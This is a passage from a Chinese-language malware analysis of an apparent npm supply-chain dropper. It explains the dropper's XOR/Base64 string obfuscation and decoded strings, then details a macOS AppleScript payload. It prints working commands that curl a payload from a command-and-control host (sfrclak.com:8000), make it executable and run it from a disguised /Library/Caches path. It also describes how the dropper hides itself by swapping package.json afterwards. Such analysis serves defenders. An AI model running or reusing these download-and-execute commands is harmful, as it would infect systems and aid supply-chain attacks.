保留，有效密钥为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">[0,0,0,0,0,0,7,0,7,7]</span></code><span leaf="">。每个字符按位置 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">r</span></code><span leaf=""> 解码为：</span><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">charCode XOR key[(7 × r × r) % 10] XOR 333</span></code></pre></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_trans_2(x, r)</span></code></strong><span leaf=""> — 外层：反转编码字符串 → 将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_</span></code><span leaf=""> 替换为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">=</span></code><span leaf=""> → Base64 解码（以 UTF-8 恢复 Unicode 码点）→ 传入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_trans_1</span></code><span leaf=""> 二次解密。</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">入口点：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_entry(&#34;6202033&#34;)</span></code><span leaf="">，其中 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">6202033</span></code><span leaf=""> 是 C2 URL 路径段。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">完全解码后的关键字符串：</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">]  → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;child_process&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// Shell 执行</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">1</span></span><span leaf="">]  → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;os&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// 平台检测</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">2</span></span><span leaf="">]  → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;fs&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// 文件系统操作</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">3</span></span><span leaf="">]  → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;<a href="http://sfrclak.com:8000/" target="_blank">http://sfrclak.com:8000/</a>&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// C2 基础 URL</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">5</span></span><span leaf="">]  → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;win32&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// Windows 平台标识</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">6</span></span><span leaf="">]  → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;darwin&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// macOS 平台标识</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">12</span></span><span leaf="">] → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK &amp;&amp; nohup python3 /tmp/ld.py SCR_LINK &gt; /dev/null 2&gt;&amp;1 &amp;&#34;</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">13</span></span><span leaf="">] → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;package.json&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// 执行后删除</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">14</span></span><span leaf="">] → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;package.md&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf="">// 干净存根重命名为 package.json</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">15</span></span><span leaf="">] → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;.exe&#34;</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">16</span></span><span leaf="">] → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;.ps1&#34;</span></span><span leaf=""><br/></span><span leaf="">stq[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">17</span></span><span leaf="">] → </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;.vbs&#34;</span></span></code></pre><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">四、平台特定载荷详细分析</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">4.1 macOS — AppleScript 投放器</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">触发条件：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">os.platform() === &#34;darwin&#34;</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">执行链：</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">do shell script</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;curl -o /Library/Caches/com.apple.act.mond \</span><span leaf=""><br/></span><span leaf="">  -d packages.npm.org/product0 \</span><span leaf=""><br/></span><span leaf="">  -s <a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a> \</span><span leaf=""><br/></span><span leaf="">  &amp;&amp; chmod 770 /Library/Caches/com.apple.act.mond \</span><span leaf=""><br/></span><span leaf="">  &amp;&amp; /bin/zsh -c \&#34;/Library/Caches/com.apple.act.mond <a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a> &amp;\&#34; \</span><span leaf=""><br/></span><span leaf="">  &amp;&gt; /dev/null&#34;</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">执行方式：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">nohup osascript &#34;&lt;temp_file&gt;&#34; &gt; /dev/null 2&gt;&amp;1 &amp;</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 POST Body：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/product0</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">持久化文件：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/Library/Caches/com.apple.act.mond</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">伪装策略：</span></strong></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/Library/Caches/</span></code><span leaf=""> 是系统级缓存目录，在事件响应中极少被检查</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">com.apple.act.mond</span></code><span leaf=""> 模仿 Apple 反向 DNS 守护进程命名惯例</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 后缀 </span><code style="box-sizing: border-box;border-width: 